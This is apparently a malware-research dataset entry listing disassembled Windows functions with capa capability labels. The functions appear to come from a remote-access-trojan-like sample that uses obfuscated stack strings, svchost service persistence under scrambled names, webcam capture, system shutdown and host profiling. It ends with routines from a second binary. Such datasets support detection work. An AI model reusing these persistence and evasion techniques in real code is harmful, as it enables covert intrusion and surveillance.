joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b100
Capabilities:
Shutdown system

Disassembly:
push str.SeShutdownPrivilege
call fcn.1000d2f0
mov eax, dword [esp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.SeShutdownPrivilege
call fcn.1000d2f0
pop ecx
ret

Function at 0x1000b360
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0xc], cl
mov byte [esp + 0x12], cl
lea eax, [esp + 8]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], bl
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x1a], 0x45
mov byte [esp + 0x1b], 0x76
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov edx, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
push ebx
mov dword [esp + 0x30], edx
mov dl, byte [esp + 0x5c]
push ebx
push ebx
push ebx
mov dword [esp + 0x40], ecx
mov byte [esp + 0x44], dl
call eax
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x2c]
push eax
mov eax, dword [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x48]
push edx
push 0x1000b2e0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x50]
add esp, 0x18
mov ebx, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push str.CloseHandle
push str.kernel32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0x38]
push ecx
call eax
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x30
ret

Function at 0x1000b630
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
push str.GetCurrentThreadId
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000b5e0
add esp, 8
test eax, eax
jne 0x1000b6a4
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000b6c8
push esi
call fcn.1000b560
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x1000b970
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015344
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1001ae74], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000bbc0
test al, al
je 0x1000bac1
mov al, byte [0x1001ae70]
test al, al
jne 0x1000bac1
mov edx, dword [0x1001ae74]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x1001a668
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000c6d0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000c790
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.GetVersionExA
push str.kernel32.dll
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
lea ecx, [esp + 0x7c]
mov byte [esp + 0x78], 0x66
push ecx
mov byte [esp + 0x15e], 0
mov dword [esp + 0x80], 0x9c
call eax
mov edi, dword [esp + 0x2d4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x160]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c4], 0
mov eax, ecx
mov esi, edi
mov edi, edx
push str.GetComputerNameA
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push str.kernel32.dll
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1cd]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x1c], pe_nt_image_headers32
call ebp
push eax
call ebx
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x10]
push ecx
mov edi, 1
push edx
push 0
push edi
push 0
push 0
push 0
push str.NetSubKey
push 0x80000001
mov esi, eax
mov dword [esp + 0x40], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c4]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push 0x1001a668
push eax
mov dword [esp + 0x38], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c898
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000c8a7
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c4]
push edx
push eax
call esi
xor ecx, ecx
lea edx, [esp + 0x18]
mov dword [esp + 0x24], ecx
push edx
mov dword [esp + 0x2c], ecx
lea eax, [esp + 0x28]
mov dword [esp + 0x30], ecx
push eax
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x2d4]
mov dword [esp + 0x20], 0x10
mov edx, dword [ecx + 0xa8]
push edx
call dword [0x1001a648]
mov eax, dword [esp + 0x28]
mov ecx, 0xc
lea esi, [esp + 0x1c4]
lea edi, [esp + 0x128]
mov dword [esp + 0x124], eax
push str.GetSystemInfo
rep movsd dword es:[edi], dword [esi]
push str.kernel32.dll
movsw word es:[edi], word [esi]
call ebp
push eax
call ebx
lea ecx, [esp + 0x54]
push ecx
call eax
mov dx, word [esp + 0x68]
mov word [esp + 0x118], dx
call fcn.1000c6d0
push str.GlobalMemoryStatus
push str.kernel32.dll
mov dword [esp + 0x124], eax
mov dword [esp + 0x3c], 0x20
call ebp
push eax
call ebx
lea ecx, [esp + 0x34]
push ecx
call eax
mov edx, dword [esp + 0x3c]
shr edx, 0x14
inc edx
mov dword [esp + 0x120], edx
call fcn.1000c730
lea ecx, [esp + 0x78]
mov byte [esp + 0x15a], al
mov eax, dword [esp + 0x2d0]
push 0x14c
push ecx
mov ecx, dword [esp + 0x2d4]
mov dword [esp + 0x164], eax
call fcn.100026e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
Function at 0x1000cec0
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
push 0x104
mov eax, dword [esi]
push eax
push 0x1001afd0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x1001afd0
call dword [sym.imp.MSVCRT.dll_wcstombs]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x18
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x1000ce70
push 0x1001afd0
call eax
push 1
push 0
push 2
mov dword [0x1001ae8c], eax
call fcn.1000cdc0
push 0
push 0
push 4
call fcn.1000cdc0
add esp, 0x18
push str.CloseHandle
push str.kernel32.dll
call esi
push eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000e670
push 0
push 0
mov ebx, eax
call ebp
push eax
call ebx
push 0
push 0
push 0
push 0x1000df40
push 0
push 0
call ebp
mov dword [0x10018bb0], eax
push str.Sleep
push str.kernel32.dll
call esi
push eax
call edi
push 0
push 0
mov ebx, eax
call fcn.1000cb10
add esp, 8
push 0x3e8
call ebx
jmp 0x1000cf77

Function at 0x1000cfb0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp + 8]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000d04c
cmp byte [esi + ebx], 0x5c
jne 0x1000d03b
push esi
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea ecx, [ebp - 0x104]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000d03b
lea edx, [ebp - 0x104]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000d000
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d060
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.OpenSCManagerA
push str.ADVAPI32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0xf003f
push 0
push 0
call eax
test eax, eax
mov dword [0x1001ae88], eax
jne 0x1000d0a7
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.B_lkio_Kltppwwp_Uica_f_F_hh
push str.Djlbnm_MmurvrvqRp
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x1001ae84], eax
jne 0x1000d0e3
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [0x1001ae88]
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str.ChangeServiceConfig2A
push str.ADVAPI32.dll
mov dword [ebp - 4], str.CkhhhiohQsqvvssuz_Ccabged_Hknnoomq_Qqq
call edi
push eax
call ebx
mov edx, dword [0x1001ae84]
lea ecx, [ebp - 4]
push ecx
push 1
push edx
call eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000da30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [ebp - 0x23c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [ebp - 0x219]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Djlbnm_MmurvrvqRp
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x23c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x23c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
lea eax, [ebp - 4]
lea ecx, [ebp - 0x23c]
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000db0e
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x30
call esi
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x110]
lea edx, [ebp - 8]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x110]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [ebp - 0xc], 2
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x110]
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000dbb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x48]
lea eax, [ebp - 4]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [ebp - 0x48]
push 0
push ecx
push 0x80000002
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000dce2
mov ecx, 0x1f3
lea edi, [ebp - 0x817]
mov byte [ebp - 0x818], al
lea edx, [ebp - 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebp - 0x818]
push edx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], 7
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x818]
lea ecx, [ebp - 8]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [ebp - 0xc], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov eax, dword [ebp - 4]
push eax
jne 0x1000dcdc
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [ebp - 0x818]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [ebp - 0x818]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x10], 0
mov esi, ecx
test si, si
je 0x1000dce2
cmp si, 1
je 0x1000dce2
push str.Djlbnm_MmurvrvqRp
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000dcd0
mov ecx, dword [ebp - 0x10]
mov eax, esi
and eax, 0xffff
test si, si
lea edx, [ecx + eax + 1]
lea ebx, [ebx + eax + 1]
mov dword [ebp - 0x10], edx
je 0x1000dce2
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000dc83
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9999d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x9d104c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x999a8c
cmp byte [esi + 0x3d], 0
je 0x999a8c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x999a7a
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x999a42
sub eax, 1
je 0x999a46
sub eax, 2
jne 0x999a7a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0099f7ee
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x999a63
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.009a6c1a
add esp, 0x10
cmp edi, eax
jne 0x999a7a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0099f7ee
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0099f7ee
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0099f7ee
mov esp, ebp
pop ebp
ret

Function at 0x99ad70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x9bfdd0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x9d104c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], 0x9c1400
call fcn.0099f801
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0099ea2c
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x99d150
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x9c01d0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x9d104c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 8
mov dword [edi], 0x9c1400
call fcn.0099f801
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0099ea2c
mov dword [esi + 4], eax
lea ebx, [edi + 4]
mov eax, dword [ebp - 0x10]
lea edx, [edi + 8]
mov dword [ebp - 0x14], ebx
lea ecx, [eax + 0x18]
mov ebx, dword [ebp - 0x10]
add esp, 8
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x10]
mov dword [edi + 0x34], esi
add edi, 0x14
mov dword [ebx], 0x9c1440
lea esi, [eax + 0x24]
mov byte [ebx + 0x48], 0
add eax, 0x28
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [edx + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x20], ecx
mov dword [ebx + 0x2c], esi
mov ebx, dword [ebp - 0x14]
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [esi], 0
mov dword [edx + 0x4c], 0
mov eax, dword [0x9d329c]
mov ecx, dword [0x9d32a0]
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x99dc00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
mov eax, dword [edi]
cmp eax, 0x270
jne 0x99dc5e
lea edx, [edi + 8]
mov esi, eax
nop dword [eax]
mov ecx, dword [edx - 4]
lea edx, [edx + 4]
xor ecx, dword [edx - 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub esi, 1
jne 0x99dc20
mov eax, dword [edi]
jmp 0x99dd49
cmp eax, 0x4e0
jb 0x99dd49
mov eax, dword [edi + 0x9c4]
push ebx
lea ebx, [edi + 0x9c4]
mov edi, 0xe3
nop dword [eax + eax]
mov ecx, dword [ebx + 4]
lea edx, [ebx + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub edi, 1
jne 0x99dc80
mov ebx, dword [ebp - 4]
mov edi, 0x18c
add ebx, 0xd50
mov eax, dword [ebx]
nop dword [eax]
mov ecx, eax
lea edx, [ebx + 4]
xor ecx, dword [edx]
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx - 0xd4c]
xor eax, ecx
mov dword [ebx - 0x9c0], eax
lea ebx, [edx]
mov eax, dword [edx]
sub edi, 1
jne 0x99dcd0
mov edi, dword [ebp - 4]
pop ebx
mov ecx, dword [edi + 0x1380]
xor ecx, dword [edi + 4]
and ecx, 0x7fffffff
xor ecx, dword [edi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi + 0x9c0], eax
xor eax, eax
mov dword [edi], 0
mov edx, dword [edi + eax*4 + 4]
inc eax
mov dword [edi], eax
mov ecx, edx
mov eax, dword [edi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x9b0131
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009affa7